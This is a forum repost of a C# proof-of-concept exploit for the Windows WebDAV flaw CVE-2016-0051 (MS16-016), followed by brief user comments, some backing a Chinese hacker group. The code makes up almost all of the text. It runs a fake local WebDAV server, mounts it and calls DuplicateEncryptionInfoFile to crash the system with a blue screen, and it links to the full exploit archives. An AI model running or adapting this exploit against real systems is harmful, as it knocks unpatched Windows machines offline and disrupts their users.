MS16-016 Exploit

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Microsoft Windows WebDAV - BSoD PoC (MS16-016) Exploit

Source: https://github.com/koczkatamas/CVE-2016-0051

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/*
  
Source: [url]https://github.com/koczkatamas/CVE-2016-0051[/url]
  
Proof-of-concept BSoD (Blue Screen of Death) code for CVE-2016-0051 (MS-016).
  
Full Proof of Concept:
[url]https://github.com/koczkatamas/CVE-2016-0051/archive/master.zip[/url]
[url]https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/39432.zip[/url]
  
*/
  
using System;
using System.IO;
using System.Linq;
using System.Net;
using System.Net.Sockets;
using System.Runtime.InteropServices;
using System.Text;
using System.Threading;
  
namespace BSoD
{
    class Program
    {
        static void StartFakeWebDavServer(int port)
        {
            new Thread(() =>
            {
                var server = new TcpListener(IPAddress.Loopback, port);
                server.Start();
                while (true)
                {
                    using (var client = server.AcceptTcpClient())
                    using (var stream = client.GetStream())
                    using (var reader = new StreamReader(stream, Encoding.GetEncoding("iso-8859-1")))
                    using (var writer = new StreamWriter(stream, Encoding.GetEncoding("iso-8859-1")) { AutoFlush = true })
                    {
                        Console.WriteLine(" =============== BEGIN REQUEST =============== ");
  
                        Func<string> rl = () =>
                        {
                            var line = reader.ReadLine();
                            Console.WriteLine("< " + line);
                            return line;
                        };
  
                        Action<string> wl = outData =>
                        {
                            Console.WriteLine(String.Join("\n", outData.Split('\n').Select(x => "> " + x)));
                            writer.Write(outData);
                        };
  
                        var header = rl().Split(' ');
                        while (!string.IsNullOrWhiteSpace(rl())) { }
  
                        if (header[0] == "OPTIONS")
                            wl("HTTP/1.1 200 OK\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nAllow: OPTIONS,GET,HEAD,PROPFIND\r\n\r\n");
                        else if (header[0] == "PROPFIND")
                        {
                            var body = String.Format(@"
<?xml version=""1.0"" encoding=""UTF-8""?>
<D:multistatus xmlns:D=""DAV:"">
<D:response>
    <D:href>{0}</D:href>
    <D:propstat>
        <D:prop>
            <D:creationdate>{1:s}Z</D:creationdate>
            <D:getcontentlength>{3}</D:getcontentlength>
            <D:getcontenttype>{4}</D:getcontenttype>
            <D:getetag>{5}</D:getetag>
            <D:getlastmodified>{6:R}</D:getlastmodified>
            <D:resourcetype>{8}</D:resourcetype>
            <D:supportedlock></D:supportedlock>
            <D:ishidden>{7}</D:ishidden>
        </D:prop>
        <D:status>HTTP/1.1 200 OK</D:status>
    </D:propstat>
</D:response>
</D:multistatus>", header[1], DateTime.UtcNow.ToUniversalTime(), "", "0", "", "", DateTime.UtcNow.ToUniversalTime(), 0, header[1].Contains("file") ? "" : "<D:collection></D:collection>").Trim();
  
                            wl("HTTP/1.1 207 Multi-Status\r\nMS-Author-Via: DAV\r\nDAV: 1,2,1#extend\r\nContent-Length: " + body.Length + "\r\nContent-Type: text/xml\r\n\r\n" + body);
                        }
                        else
                            wl("HTTP/1.1 500 Internal Server Error\r\n\r\n");
  
                        Console.WriteLine(" =============== END REQUEST =============== ");
                    }
                }
            }) { IsBackground = true, Name = "WebDAV server thread" }.Start();
        }
  
        [StructLayout(LayoutKind.Sequential)]
        private class NETRESOURCE
        {
            public uint dwScope = 0;
            public uint dwType = 0;
            public uint dwDisplayType = 0;
            public uint dwUsage = 0;
            public string lpLocalName = null;
            public string lpRemoteName = null;
            public string lpComment = null;
            public string lpProvider = null;
        }
  
        [DllImport("mpr.dll")]
        private static extern int WNetAddConnection2(NETRESOURCE lpNetResource, string lpPassword, string lpUsername, int dwFlags);
  
        [DllImport("Advapi32.dll", CharSet = CharSet.Auto, SetLastError = true)]
        private static extern int DuplicateEncryptionInfoFile(string srcFileName, string dstFileName, uint dwCreationDistribution, uint dwAttributes, IntPtr lpSecurityAttributes);
  
        public static void Main(string[] args)
        {
            var p = new Random().Next(1024, 65535);
  
            StartFakeWebDavServer(p);
  
            var addConnectionResult = WNetAddConnection2(new NETRESOURCE() { lpRemoteName = @"\\127.0.0.1@" + p + @"\folder\" }, null, null, 0);
            Console.WriteLine("WNetAddConnection2 = " + addConnectionResult);
  
            var duplicateEncryptionInfoResult = DuplicateEncryptionInfoFile(@"\\127.0.0.1@" + p + @"\folder\file", "x", 2, 128, IntPtr.Zero);
            Console.WriteLine("DuplicateEncryptionInfoFile = " + duplicateEncryptionInfoResult);
  
            Console.WriteLine("BSoD did not happen.");
            Console.ReadLine();
        }
    }
}

tx1

put 漏洞？

wilist

支持中国红客联盟(ihonker.org)

天命玄鸟

https://technet.microsoft.com/zh-cn/library/security/ms16-016

wtsqq123

Micah

支持，看起来不错呢！

wanmznh

支持中国红客联盟(ihonker.org)

r00tc4

还是不错的哦，顶了

ayang

学习学习技术，加油！

admin1964

还是不错的哦，顶了